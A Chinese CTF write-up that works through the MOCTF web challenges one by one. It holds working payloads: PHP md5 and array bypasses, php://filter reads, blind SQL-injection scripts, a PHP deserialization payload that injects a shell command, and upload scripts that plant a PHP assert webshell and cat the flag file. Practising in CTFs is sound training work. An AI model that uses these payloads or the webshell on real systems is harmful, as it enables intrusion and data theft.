MOCTF-WEB-writeup


MOCTF-WEB-writeup

好菜,除了簡單的幾個題,自己會做,難的都是看老大WP完成的,太菜了

啥姿勢都不會,就此記錄一下,供日后查看及反省。菜雞的自我修養

 

0x01 一道水題

題目鏈接:http://119.23.73.3:5001/web1/

 

直接F12了解一下,get flag:moctf{easy_source_code}

0x02 還是水題

題目鏈接:http://119.23.73.3:5001/web2/

 

F12查看源碼。

修改之后,輸入moctf提交就可以行了。get flag:moctf{break_the_html}

 

0x03 訪問限制

 題目鏈接:http://119.23.73.3:5001/web3/

 

BP抓包,將代理的瀏覽器設置為NAIVE,重新發包。get flag:moctf{http_header_1s_easy}

 

0x04 機器蛇

 題目鏈接:http://119.23.73.3:5001/web4/

 

F12查看源碼

然后訪問robots.txt

最后訪問圖中的地址,即可獲得Flag

get flag:moctf{g0Od_r0bots_txt}

0x05 PHP黑魔法

題目鏈接:http://119.23.73.3:5001/web5/

 

這題,輸了index.php,看不到任何東西,也不會跳轉到其他頁面,題目給的提示也沒說php~

 

我太難了(自己太菜)

根據大佬們之前做的,訪問index.php~,查看源碼

<!DOCTYPE html>
<!--html lang="zh-CN">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
</head>
<body>
<?php

    $flag="moctf{**************}";
    
    if (isset($_GET['a'])&&isset($_GET['b'])) {
        $a=$_GET['a'];
        $b=$_GET['b'];


        if($a==$b) 
        {
            echo "<center>Wrong Answer!</center>";
        }
        else {
            if(md5($a)==md5($b)) 
            {
                echo "<center>".$flag."</center>"; 
                echo "By:daoyuan";
            }
            else echo "<center>Wrong Answer!</center>";
        }
        
    }
    else echo "<center>濂藉儚灝戜簡鐐逛粈涔�</center>"; 
?>
</body>
</html-->

根據源碼,知道需要GET傳參的a和b不能相等,而且md5之后的a=b,從這    if(md5($a)==md5($b))  中的==可以知道,可以利用MD5特性來解決

PHP在處理哈希字符串時,會利用”!=”或”==”來對哈希值進行比較,它把每一個以”0E”開頭的哈希值都解釋為0,所以如果兩個不同的密碼經過哈希以后

其哈希值都是以”0E”開頭的,那么PHP將會認為他們相同,都是0。

 

可以用兩種方法繞過

1、直接將需要傳參的值賦成如下就行了,md5之后是相等的:

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
sha1(str)
sha1('aaroZmOk')  
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')
//比如說URL傳參為
//http://119.23.73.3:5001/web5/index.php?a=240610708&b=QNKCDZO

2、利用MD5不能處理數組的特性繞過也行

//這里根據題意,a,b不相等,md5($a)==md5($b),如下傳參也行,URL中的69,自己隨意改,不相等就行

http://119.23.73.3:5001/web5/index.php?a[]=6&b[]=9

最后的flag為:moctf{PHP_1s_b4st_language}

0x06 我想要錢

題目鏈接:http://119.23.73.3:5001/web6/

 

打開得到源碼

<?php
    include "flag.php";
    highlight_file(__FILE__);

    if (isset($_GET['money'])) {
        $money=$_GET['money'];
        if(strlen($money)<=4&&$money>time()&&!is_array($money))
        {
            echo $flag;
            echo "<!--By:daoyuan-->";
        }
        else echo "Wrong Answer!";
    }
    else echo "Wrong Answer!";
?>

Wrong Answer!

代碼審計。想要獲得Flag,需要滿足三個條件:

//money的長度小於4、money的值大於time、最后不能為數組

if(strlen($money)<=4&&$money>time()&&!is_array($money))

money使用科學計數就可以了,長度小,數值大。

比如?money=3e9

get flag:moctf{I_ne4d_much_m0ney}

0x07 登錄就對了

題目鏈接:http://119.23.73.3:5002/index.php

構造萬能密碼,直接就可以登錄成功,登錄成功之后,F12查看源碼即可獲得Flag,get flag:moctf{SQLi_Log_1n_4asy}

這里講的萬能密碼還不錯:https://www.freebuf.com/column/150063.html

0x08 文件包含

題目鏈接:http://119.23.73.3:5001/web8/index.php?file=welcome.txt

 

查看源碼,發現有一個flag.php,根據題目文件包含,可以用php://filter偽協議來讀取flag的內容

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

關於php://filter偽協議的相關知識,這里說的不錯   https://www.leavesongs.com/PENETRATION/php-filter-magic.html

打開之后會得到一串字符,直接base64解碼即可看到flag

get flag:moctf{f1le_includ4_e5sy}

0x09 暴跳老板

題目鏈接:http://119.23.73.3:5006/web1/

hint:老板暴跳如雷,罵道:你怎么又沒有按照我的意願發郵件?

 

發啥都不管用,只會這樣彈窗

BP抓包試試

根據題目提示,安裝他說的發送,以及彈窗,應該用Dear的名義發送MyBoss過去

get flag:moctf{00.oo_BBoo_0os}

0x10 Flag在哪?

題目鏈接:http://119.23.73.3:5001/web7/

 

打開網頁,有一個getflag的鏈接,點擊去啥也沒有,There is no flag!

御劍掃一波,掃不到東西,BP打開,抓包試試。可以看到Response里面

Location有新的鏈接地址,復制發包,最后又回到了最開始的位置,果然

人不能忘了初心,如果人人都初心哥,是不是可以迎娶白富美了(嚶嚶嚶)

想不到,看看表哥們的姿勢。

emmmmmmm    歌曲?PPAP Pen Pineapple Apple Pen

好吧,將之前得到的組合一下flagfrog.php,訪問,即可獲得flag

之前獲得的

/where_is_flag.php
/flag.php
/I_have_a_frog.php
/I_have_a_flag.php
/no_flag.php

get flag:moctf{wh4re_1s_The_F149}

0x11 美味的餅干

題目鏈接:http://119.23.73.3:5001/web9/

 

登錄頁面,直接使用admin登錄就可以登錄成功,密碼都不需要。BP抓包看看

而且題目為美味的餅干     emmmm  cookie?

多次登錄BP,發現這里的Cookie是一個定值

%3D   是等號(=),base64解碼一波

發現里面的字符都是0-9,a-f,MD5解密,解密之后為user,前面用戶輸入的是admin,這里解密出來為user,那么將admin先進行md5加密,再base64加密,然后添加到cookie繼續發包即可獲得flag

 

get flag:moctf{Co0kie_is_1nter4sting}

0x12 沒時間解釋了

題目鏈接:http://119.23.73.3:5006/web2/index2.php

御劍掃描,發現新大陸。

訪問試試

提交之后,得到一串字符:Flag is here,come on~ http://119.23.73.3:5006/web2/uploads/1338ecebb918f207a7de77008477d150d892c8d4/flag

訪問之后,Too Show,不管提交什么,他前面的地址都一樣,但是訪問的時候,又看不到,應該是提交之后,服務器再很短的時間又給刪除了。

所以,去訪問的時候總是得不到想要的。本題考查的是條件競爭,直接利用BP里面的Intruder模塊進行爆破,來獲取

需要進行兩次抓包,同時發送包,來達到短時間獲取

先抓提交頁面的包

然后設置Payload,這里因為我們沒有payload,所以選擇Null payload,下面的continue indefinitely就是持續發送,一直請求設置完成之后,開始攻擊(start attack)

開始攻擊之后,放在后台,讓他持續發送。接下來繼續抓第二個包。

和上面一樣的設置,然后發送攻擊。

get flag:moctf{y0u_n4ed_f4st}

0x13 死亡退出

題目鏈接:http://119.23.73.3:5003/

 

代碼審計

<?php
  show_source(__FILE__);
  $c="<?php exit;?>";
  @$c.=$_POST['c'];
  @$filename=$_POST['file']; 
  if(!isset($filename))                    
  {                                       
    file_put_contents('tmp.php', ''); 
  }                                 
  @file_put_contents($filename, $c);
  include('tmp.php');
?>

先看看代碼

首先先定義可一個變量c,里面為一個php代碼,退出功能。

接着是以post的方式獲取變量c,這里 .= 表示他會和上面變量c的內容鏈接起來。

除了post變量c,下面還post了file,那么就是需要同時傳c和file來獲取flag吧

接下來是函數  file_put_contents:

file_put_contents()函數把一個字符串寫入文件中。

該函數訪問文件時,遵循以下規則:

1.如果設置了FILE_USE_INCLUDE_PATH,那么將檢查* filename *副本的內置路徑
2.如果文件不存在,將創建一個文件
3.打開文件
4.如果設置了LOCK_EX,那么將鎖定文件
5.如果設置了FILE_APPEND,那么將移至文件末尾。否則,將會清除文件的內容
6.向文件中寫入數據
7.關閉文件並對所有文件解鎖

如果成功,該函數將返回寫入文件中的字符數。如果失敗,則返回錯誤。

繼續。。。。。。。。

 

傳參變量C的時候,執行的就是<?php exit;?>再連接輸入的,而執行這個腳本,就直接退出了,就讀取不到任何東西,所以需要繞過

這里就需要用到php://filter偽協議流來進行繞過。使用base64解碼的一個漏洞(不能解碼<、?、空格、?、;、>等這幾個字符),然后就只會解碼phpexit,

而base64解碼是以4個為一組進行解碼的,phpexit只有7個,所以需要添加一個字符構成八個字符,才能正常解碼,這里隨便一個字符就行,能解碼的。

然后再連接我們需要執行獲取flag的命令,所以C的pyaload為:c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==(a后面的為<?php system('cat flag.php');?>base64加密之后的字符)

然后就是利用php://filter偽協議了,file的payload為:file=php://filter/write=convert.base64-decode/resource=tmp.php

 最終的payload為:c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==&file=php://filter/write=convert.base64-decode/resource=tmp.php

get flag:moctf{Base64_d0_n0t_g0_die}

0x14 火眼金睛

 題目鏈接:http://119.23.73.3:5001/web10/

 

打開之后

python腳本為:

import requests
import re
targeturl = "http://119.23.73.3:5001/web10/"
r = requests.get(url=targeturl)
res_tr = r"'100'>(.*?)</textarea>"
flagtxt =  re.findall(res_tr,r.content)[0]
re_moctf = r"moctf"
moctf = re.findall(re_moctf,flagtxt)
number = len(moctf)
ans = {
    "answer":number
}
url2 = "http://119.23.73.3:5001/web10/work.php"
s = requests.post(url=url2,data=ans,cookies=r.cookies)
print s.content

 

 這位大哥寫的不錯,各位可以去看看:https://www.jianshu.com/p/4bf347959bd5

 

get flag:moctf{Programming_1s_important_!!}

0x15 unset

題目鏈接:http://119.23.73.3:5101/

 

直接給代碼,代碼審計:

<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
     //這里定義的waf函數,正則匹配flag,如果輸入flag,將退出並輸出 are you a hacker
if(preg_match('/flag/i',$key)){ exit('are you a hacker'); } } } foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
     //定義一個數組,然后放入變量__R中,接下來進行判斷$$__R = $($__R) = $_POST(遍歷的第一個)
     //然后開始遍歷,首先$_POST,將post傳參的值賦給$__v
     //如果$$__k存在,並且$$__k == $__v的話,那么就銷毀掉$$__k
if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } } }
//根據提交參數的方式,進行相應的waf函數
if($_POST) { waf($_POST);} if($_GET) { waf($_GET); } if($_COOKIE) { waf($_COOKIE);}
//檢查POST參數每個鍵名是否合法是否有沖突EXTR_SKIP - 如果有沖突,不覆蓋已有的變量。
if($_POST) extract($_POST, EXTR_SKIP); if($_GET) extract($_GET, EXTR_SKIP); if(isset($_GET['flag'])){ if($_GET['flag'] === $_GET['daiker']){ exit('error'); } if(md5($_GET['flag'] ) == md5($_GET['daiker'])){ include($_GET['file']); } } ?>

分析(看了很多大佬的WP,自己也記錄下,方便以后觀看):

漏洞源地址:http://www.secevery.com:4321/bugs/wooyun-2014-063895

關鍵點在於:

foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
        if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
     }

}
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);

算了,以后理解透了,再回來寫,沒理解 ,寫不下去,太菜了???

 

還是先用大佬的WP記錄下,方便以后觀看

源地址:https://www.jianshu.com/p/4bf347959bd5

 

代碼執行第一階段:

這個漏洞的實現需要post和get同時使用
以post提交內容:如果我們向url:1.php?x=1提交一個POST請求 內容為 _GET[x]=1
在url中提交內容:因為在uril:中?x=1 使 $_GET 內容為 array('x'=>'1')
當開始遍歷_POST的時候$__R=_POST
$$__R=$($_R)=$_POST(也就是我們post提交的內容_GET[x]=1)
繼續遍歷$_POST==(_GET[x]=1)得到$k(也就是_GET) => $__v=array('x'=>'1')
繼續判斷$$__k=$($__k)=$_GET=array('x'=>'1')
此時此刻$$__k == $__v成立所以 我們的超全局變量 $_GET就會被unset(銷毀)了

 

 代碼執行第二階段:

此時將會對$_POST、$_GET、$_COOKIE,由於我們在上一步已經將$_GET請求unset掉了,所以在這里是檢查不到我們的$_GET請求的。

if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }    
if($_COOKIE) { waf($_COOKIE);}  

function waf($a){ 
foreach($a as $key => $value){ 
        if(preg_match('/flag/i',$key)){  
        exit('are you a hacker');
}}}

 

代碼執行第三階段:

檢查POST參數每個鍵名是否合法是否有沖突,將會正常初始化$_GET。
EXTR_SKIP - 如果有沖突,不覆蓋已有的變量,將會使用原來$_GET的值。

if($_POST) extract($_POST, EXTR_SKIP); 
if($_GET) extract($_GET, EXTR_SKIP);

 

代碼執行第四階段:

簡單的MD5弱類型繞過就行

if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['daiker']){
        exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
        include($_GET['file']); 
}
}

最后構造payload:

利用google   hackbar進行構造,不知道為什么我的火狐安不上了。

關於如何再Google上安裝hackbar,可以看這里:https://mp.weixin.qq.com/s/8nxHxJRr3U52xbfhpirxmA

最后base64解碼即可,get flag:moctf{e2181b5o14a67159cc23oc8feod6c5b6}

0x16 PUBG

題目鏈接:http://120.78.57.208:6001/?LandIn=school

在這里可以獲取源碼

<html>
<title>MOCTF吃雞大賽</title>
<style type="text/css"> 
a{ 
    text-decoration:none;
    color:white;
} 
body
{
    background:url('image/PUBG.jpg');
    background-attachment:fixed;
    background-repeat:no-repeat;
    background-size:cover;
    -moz-background-size:cover;
    -webkit-background-size:cover;
}
center
{
    color:white;
}
</style>
<body>
<center>
<p>你現在正在飛機上,請選擇要跳的地方</p></br>
<p><a href="?LandIn=airport">機場</a></p>
<p><a href="?LandIn=school">學校</a></p>
<p><a href="?LandIn=field">打野</a></p>
<p><a href="?LandIn=AFK">上個廁所</a></p>
</center>
</body>
</html>
<?php
    error_reporting(0);
    include 'class.php';
    if(is_array($_GET)&&count($_GET)>0)
    {
        if(isset($_GET["LandIn"]))
        {
            $pos=$_GET["LandIn"];
        }
        if($pos==="airport")
        {
            die("<center>機場大仙太多,你被打死了~</center>");
        }
        elseif($pos==="school")
        {
            echo('</br><center><a href="/index.html"  style="color:white">叫我校霸~~</a></center>');
            $pubg=$_GET['pubg'];
            $p = unserialize($pubg);
            // $p->Get_air_drops($p->weapon,$p->bag);
        }
        elseif($pos==="AFK")
        {
            die("<center>由於你長時間沒動,掉到海里淹死了~</center");
        }
        else
        {
            die("<center>You Lose</center>");
            
        }
    }
?>

可以看到,在上面引用了class.php,同樣的道理,獲取一波源碼,class.php.bak

再下面,有用的信息有,需要$pos===school,並且URL傳參pubg,且需要反序列化,到此結束。

再看class.php的內容:

<?php
    include 'waf.php';
    class sheldon{
        public $bag="nothing";
        public $weapon="M24";
        // public function __toString(){
        //     $this->str="You got the airdrop";
        //     return $this->str;
        // }
        public function __wakeup()
        {
            $this->bag="nothing";
            $this->weapon="kar98K";
        }
        public function Get_air_drops($b)
        {
                $this->$b();
        }
        public function __call($method,$parameters)
        {
            $file = explode(".",$method);
            echo $file[0];
            if(file_exists(".//class$file[0].php"))
            {
                system("php  .//class//$method.php");
            }
            else
            {
                system("php  .//class//win.php");
            }
            die();
        }
        public function nothing()
        {
            die("<center>You lose</center>");
        }
        public function __destruct()
        {
            waf($this->bag);
            if($this->weapon==='AWM')
            {
                $this->Get_air_drops($this->bag);
            }
            else
            {
                die('<center>The Air Drop is empty,you lose~</center>');
            }
        }
    }
?>

這里又引用了waf.php,可惜不能得到源碼

這里,他定義了一個sheldon類,從index.php來看,序列化應該是需要構造這個對象了

(大佬博客  http://she1don.cn/  好像是他出的題)

在這個類里面,又兩個成員變量,和5個成員函數

先來看第一個函數,__wakeup魔法函數,__wakeup()函數在其所在對象反序列化的時候自動調用。一旦調用之后,成員變量就會變成bag=nothing,weapon=kar98k

(這里需要繞過,當成員屬性數目大於實際數目時可繞過wakeup方法)

 

再來看第二個函數:Get_air_drops($b)

  這個函數就是傳入b這個變量,然后執行b()這個函數

 

第三個函數:__call($method,$parameters)

__call函數是用於監視錯誤的方法調用的,也就是說如果,我們調用了不在sheldon類里面的函數,這個函數就會執行,這里是可控的地方,解題的關鍵。

在函數里面,需要(file_exists(".//class$file[0].php"))這個成立,才有機會執行systen系統命令,才有機會獲取flag

 

所以為了滿足if條件,我們可以將method賦值為“//win.php**********************”而file[0]在經過 $file = explode(".",$method);函數后變為  //win  也就是說為 .//class//win.php(而這個文file肯定是存在的,也就繞過了if)。而為了得到我們需要的flag,我們就要在上面寫的******中放入命令來執行bash。

 

最后一個函數:__destruct(),為析構函數,他在對象內容執行結束后會調用析構函數,也就是說必然會執行這個函數,這里也需要操作,這里只有weapon==AWM的時候,才會執行之前的Get_air_drops($b)函數,而這里他把b變量變成了bag,也就是說,在Get_air_drops($bag),會執行bag()函數,這不是sheldon類里面的,這樣就會調用__call函數。

 

最后理一下,在這個腳本中,肯定會執行析構函數,然后,讓$b變成不是sheldon類里面的函數,從而調用__call,因為在腳本中,存在檢測反序列化的魔法函數__weakup(),這里需要先繞過,這樣才能使得不讓初始的成員變量的值變成__weakup里面的值,導致無法調用Get_air_drops($b)函數。繞過之后,就可以來執行__call函數了,就可以構造我們的命令,來獲取flag。

 

所以最后的payload為:&pubg=O:7:"sheldon":3:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";}

在payload里面有一個管道符 |  ,在它之后的命令也會執行,所以能打印出來flag,而不是或。

URL為:http://120.78.57.208:6001/?LandIn=school&pubg=O:7:%22sheldon%22:3:{s:3:%22bag%22;s:27:%22//win.php|%20cat%20./class/flag%22;s:6:%22weapon%22;s:3:%22AWM%22;}

提交之后,在源碼里面就可以看到flag了

get flag:moctf{Try_Learn_PhP_h4rder_wow}

 

0x17 網站監測

這個不知道是不是掛了

 

0x18 Code Revolution

題目鏈接:http://www.laohulaohuhu.cn:32771/

 

直接登錄

登錄進去之后是,phpinfo()的界面

搜索disable_functions看看他禁用了什么函數

 

查看他的robots.txt發現

if (preg_match("/sess_|php(\w)+/is", $_GET['page']) || $_GET['page'] === 'index.php') {
    $_GET['page'] = "login.php";
}else if (preg_match("/filter(.+)resource/is", $_GET['page'])) {
    $test = substr(file($_GET['page'])[0], 0, 5);
    if (preg_match("/filter(.+\..+)resource/is", $_GET['page']) 
    || $test === "\x7f\x45\x4c\x46\x02" 
    || $test === "\x83\x96\xb8\xbc\xeb") {
        $_GET['page'] = "login.php";
    }
}

正則匹配$_GET提交的page,是不是不能使用php://filter偽協議來執行?

未解之題,日后再說......

 

0x19 簡單注入

題目鏈接:http://119.23.73.3:5004/

 

打開之后,F12查看,發現注入點,id=1

然后輸入id=1、2,3,分別得到:

Welcome to MOCTF!
Flag is in the database!
The table name length is greater than 20!

表名很長。

 

開始注入:

輸入?id=1' and 1=1

WHAT A FUCK!

emmmmm

小菜雞注入姿勢少,所以又去看看大佬WP了

搬運一下,學習

 

第一步:

判斷是否使用了trim()函數,該函數用於移除字符左右兩邊的空格。
在URL上輸入?id=1 (id后面有空格)回顯正常
再輸入?id=1 1 ,這里頁面返回的是空白,也就是說變成了id=11,
從前面我們測試知道,只有id=1,2,3的時候會有數據,如果沒有過濾空格的話,應該會顯示數據
所以確定空格被過濾了。

能夠代替空格的字符有(拿小本本記下)只有()沒有被過濾,所以可以用()代替空格,進行構造。

%20 空格
%09 制表符
%0a 換行
%0b 
%0c 
%0d 回車
%a0 
%00 æ
/**/ 
()

 

第二步:

判斷后端的SQL查詢語句,匹配的時候用的整型還是字符型

關於判斷是整型還是字符型注入,這里講的不錯:https://www.cnblogs.com/xyhacker/p/10022858.html

這里因為輸入?id=1正常,加上單引號之后,回顯的是空白也,並沒有出現waf,所以判斷為字符型注入,並且嗎,沒有被過濾。

 

第三步:

嘗試使用注釋符閉合
嘗試id=1'# 注釋掉后面的單引號完成閉合。
以下注釋中有些被過濾了 有些沒有,但是使用注釋后頁面無法正常顯示,沒有成功。

//, -- , /**/, #, --+, -- -, ;%00

嘗試id=1' and '1'='1 進行閉合
因為空格用()替換,'為%27,所以構造如下
id=1%27and(%271%27)=%271
運行后頁面顯示正常,驗證成功

 

第四步:判斷可用字符

利用相同方法帶入發現union聯合注入、or、<、>都不可用。
可以使用and、select查詢字符。

 

第五步:邏輯判斷

邏輯判斷
帶入id=1'and'1'='1成立
這里用數據庫長度進行舉例
id=1'and length(database()) ='1
構造后如下,經判斷當前數據庫名長度為5成立。
1'and(length(database()))='5

 

最后附上大佬的腳本:

import string
import requests
chars = '!@$%^&*()_+=-|}{ :?><[];,./`~'
string = string.ascii_letters+string.digits+chars
rs = requests.session()
flag = ""
# 正確payload
# payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(schema_name))from(information_schema.schemata)),{0},1))={1})^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{0},1))={1})^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()),{0},1))={1})^'1"
payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),{0},1))={1})^'1"
//在and禁用的時候可以使用^進行異或判斷。

for i in range(0, 500):

    # for j in string:
    for j in range(33, 127):
        url = payload.format(str(i), str(j))
        s = rs.get(url)
        # print url
        if 'Flag' in s.text:
            flag = flag + chr(j)
            print flag

太棒了,學到了很多

get flag:moctf{b1ind_SQL_1njecti0n_g0od}

0x20 簡單審計

題目鏈接:http://120.78.57.208:6005/

<?php
error_reporting(0);
include('config.php');
header("Content-type:text/html;charset=utf-8");
//生成六位a-z的隨機數 function get_rand_code($l
= 6) { $result = ''; while($l--) { $result .= chr(rand(ord('a'), ord('z'))); } return $result; } function test_rand_code() { $ip=$_SERVER['REMOTE_ADDR']; $code=get_rand_code(); $socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); @socket_connect($socket, $ip, 8888); @socket_write($socket, $code.PHP_EOL); @socket_close($socket); die('test ok!'); } //對上傳文件的設置 function upload($filename, $content,$savepath) {
   //白名單 $AllowedExt
= array('bmp','gif','jpeg','jpg','png'); if(!is_array($filename)) { $filename = explode('.', $filename);
   //上傳的這些文件,以.作為分隔符,形成數組,比如說上傳的為tx.jpg,那么形成的數組就是:array('0'=>'tx','1'=>'jpg') }
  //strtolower(),把所有字符轉換為小寫,判斷數組最后一個的格式,是否是白名單里的。這里沒有對數組進行處理。
if(!in_array(strtolower($filename[count($filename)-1]),$AllowedExt)){ die('error ext!'); }
$code
=get_rand_code();
   //最終的上傳文件名格式 上傳的文件名($filename[0])+ moctf + 六位隨機數 + 數組最后一位。 $finalname
=$filename[0].'moctf'.$code.".".end($filename); waf2($finalname);
//把POST請求的有數據寫到帶有路徑的文件中 file_put_contents(
"$savepath".$finalname, $content);
//延遲 usleep(
3000000);
//把moctf寫到帶有路徑的文件中 file_put_contents(
"$savepath".$finalname, "moctf"); unlink("$savepath".$finalname);//刪除帶有路徑的文件 die('upload over!'); } $savepath="uploads/".sha1($_SERVER['REMOTE_ADDR'])."/";//路徑為: upload/訪客IP的哈希值/ if(!is_dir($savepath)){ $oldmask = umask(0);//設置權限為777 mkdir($savepath, 0777);//創建目錄 umask($oldmask);//關閉權限 } if(isset($_GET['action'])) { $act=$_GET['action']; if($act==='upload')//GET傳參參數如果為upload { $filename=$_POST['filename'];//POST傳參參數為filename if(!is_array($filename)) { $filename = explode('.', $filename);
      //如果filename不是數組的話,就以 . 作為分隔符,形成數組 } $content
=$_POST['content']; waf($content); upload($filename,$content,$savepath); } else if($act==='test') { test_rand_code(); } } else { highlight_file('index.php'); } ?>

上面大體上就是對代碼的一些理解。

這里看的是這個大哥的非預期的解,大哥博客:https://skysec.top/

 

首先構造數組繞過

if(!in_array(strtolower($filename[count($filename)-1]),$AllowedExt)){
       die('error ext!');
   }

這里的    $filename[count($filename)-1   不一定是最后一個,所以可以這樣構造

$filename= array('0'=> '1','2'=>'jpg','3'=>'php');

這樣3-1=2 ,filename[2] = jpg,在白名單里面,就可以繞過白名單了

上傳的文件名就為:1moctf.$code.php

具體解題步驟可轉到這位大師傅:https://skysec.top/2018/02/13/happymoctf%E4%B9%8Bweb%E5%85%A8%E9%A2%98%E8%A7%A3/#%E7%AE%80%E5%8D%95%E5%AE%A1%E8%AE%A1

 

 

官方WP:

兩個腳本:

listen.py

 1 #監聽8888端口,接受6個`get_rand_code`的結果,然后預測接下來一次`get_rand_code`的結果,這里可能不會很准確,
 2 #所以需要小幅度爆破,復雜度大概為3^6,反正就跑着唄
 3 #!/usr/bin/env python
 4 #-*- coding:utf-8 -*-
 5 #by xishir
 6 import requests as req
 7 import re
 8 from socket import *  
 9 from time import ctime  
10 import random
11 import itertools as its
12 import hashlib
13 r=req.session()
14 url="http://120.78.57.208:6005/"
15 def get_rand_list():
16     HOST = ''  
17     PORT = 8888
18     BUFSIZ = 128  
19     ADDR = (HOST, PORT)  
20     tcpSerSock = socket(AF_INET, SOCK_STREAM)
21     tcpSerSock.bind(ADDR)
22     tcpSerSock.listen(5)
23     rand_num=0
24     l=[]
25     while True:
26         tcpCliSock, addr = tcpSerSock.accept()  
27         while True:  
28             data = tcpCliSock.recv(BUFSIZ)  
29             if not data:  
30                 break  
31             data=data[0:6]
32         print data,l
33             for i in data:
34                 l.append(ord(i)+1-ord('a'))
35         rand_num+=1
36           if rand_num==6:
37               break
38     tcpCliSock.close()  
39     tcpSerSock.close()
40     return l
41 def get_salt(l):
42     salt=""
43     for i in range(6):
44         j=len(l)
45         r=(l[j-3]+l[j-31])-1
46         if r>26:
47             r-=26
48         #print l[j-3],chr(l[j-3]+ord('a')-1),l[j-31],chr(l[j-31]+ord('a')-1),r,chr(r+ord('a')-1)
49         l.append(r)
50         salt+=chr(r+ord('a')-1)
51         #print salt
52     return salt
53 def get_flag(salt):
54     s=hashlib.sha1('119.23.73.3').hexdigest()
55     url1=url+'/uploads/'+s+'/'+'moctf'+salt+'.php'
56     data={"a":"system('cat ../../flag.php');echo '666666';"}
57     r2=r.post(url1,data=data)
58     print salt
59     if '404' not in r2.text:
60         print r2.text
61 get_flag('aaaaaa')
62 l=get_rand_list()
63 salt=get_salt(l)
64 s=0
65 for i in range(100000):
66     s=s+1
67 print s
68 words = "10"
69 o=its.product(words,repeat=6)
70 for i in o:
71     s="".join(i)
72     salt2=""
73     for j in range(6):
74         salt2+=chr(ord(salt[j])-int(s[j]))
75     get_flag(salt2)
76 words = "10"
77 o=its.product(words,repeat=6)
78 for i in o:
79     s="".join(i)
80     salt2=""
81     for j in range(6):
82         salt2+=chr(ord(salt[j])+int(s[j]))
83     get_flag(salt2)

put.py

 1 #通過`?action=test`調用`test_rand_code`函數發送6次`get_rand_code`結果,一共36個字符,
 2 #然后提交一個構造好的`?action=test`,上傳shell到服務器,在被刪除之前就會被listen爆破得到,沒爆破到就多爆破幾次
 3 #!/usr/bin/env python
 4 #-*- coding:utf-8 -*-
 5 #by xishir
 6 import requests as req
 7 import re
 8 r=req.session()
 9 url="http://120.78.57.208:6005/?action="
10 def get_test():
11     url2=url+"test"
12     r1=r.get(url2)
13     print url2
14     print r1.text
15 def upload():
16     data={"filename[4]":"jpg",
17           "filename[2]":"jpg",
18           "filename[1]":"php",
19           "content":"<script language='php'>assert($_POST[a]);</script>",
20           "a":"system('cat ../../flag.php');"
21           }
22     url1=url+"upload"
23     r2=r.post(url1,data=data)
24     print r2.text
25 for i in range(6):
26     get_test()
27 upload()

 

0x21 EasySQL

 題目鏈接:http://www.laohulaohuhu.cn:32770/

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM